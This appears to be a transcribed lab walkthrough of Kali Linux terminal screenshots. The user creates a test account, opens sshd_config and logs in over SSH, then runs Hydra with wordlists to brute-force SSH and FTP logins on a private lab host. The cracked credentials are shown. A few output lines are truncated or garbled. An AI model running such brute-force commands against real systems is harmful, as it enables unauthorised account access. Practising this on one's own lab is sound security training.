

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)~  
$ sudo adduser test_user  
[sudo] password for kali:  
Sorry, try again.  
[sudo] password for kali:  
info: Adding user `test_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `test_user' (1001) ...  
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...  
info: Creating home directory `/home/test_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
Full Name []: |
```

```
GNU nano 8.1 sshd_config  
# This is the sshd server system-wide configuration file. See  
# sshd_config(5) for more information.  
  
# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games  
  
# The strategy used for options in the default sshd_config shipped with  
# OpenSSH is to specify options with their default value where  
# possible, but leave them commented. Uncommented options override the  
# default value.  
  
Include /etc/ssh/sshd_config.d/*.conf  
  
#Port 22  
#AddressFamily any  
#ListenAddress 0.0.0.0  
#ListenAddress ::  
  
#HostKey /etc/ssh/ssh_host_rsa_key  
#HostKey /etc/ssh/ssh_host_ecdsa_key  
#HostKey /etc/ssh/ssh_host_ed25519_key  
  
# Ciphers and keying  
#RekeyLimit default none  
  
# Logging  
#SyslogFacility AUTH  
#LogLevel INFO
```

```
(kali㉿ kali)-[~]  
$ sudo ssh test_user@192.168.50.150  
test_user@192.168.50.150' password:  
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
```

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Fri Sep 20 10:15:05 2024 from 192.168.50.150

```
test_user㉿ kali)-[~]  
$
```

```
(kali㉿ kali)-[~]  
$ sudo hydra -L username.txt -P password.txt 192.168.50.150 -t4 ssh  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or fo
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-20 10:52:48  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 110 login tries (l:10/p:11), ~28 tries per task  
[DATA] attacking ssh://192.168.50.150:22/  
[22][ssh] host: 192.168.50.150 login: kali password: kali  
[STATUS] 90.00 tries/min, 90 tries in 00:01h, 20 to do in 00:01h, 4 active  
[22][ssh] host: 192.168.50.150 login: test_user password: testpass  
1 of 1 target successfully completed, 2 valid passwords found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-20 10:54:03
```

```
(kali㉿ kali)-[~]  
$ sudo hydra -L username.txt -P password.txt 192.168.50.150 -t4 ftp  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or fo  
Hydra (https://github.com/vanhauser-thc/thc-hydra) at 2024-09-20 11:20:19  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1 (l:10/p:11), ~28 tries per task  
[DATA] attacking ftp://192.168.50.150:21/  
[21][ftp] host: 192.168.50.150 login: ka : kali  
[STATUS] 81.00 tries/min, 81 tries in 00:01h, 29 to do in 00:01h, 4 active  
[21][ftp] host: 192.168.50.150 login: test_user password: testpass
```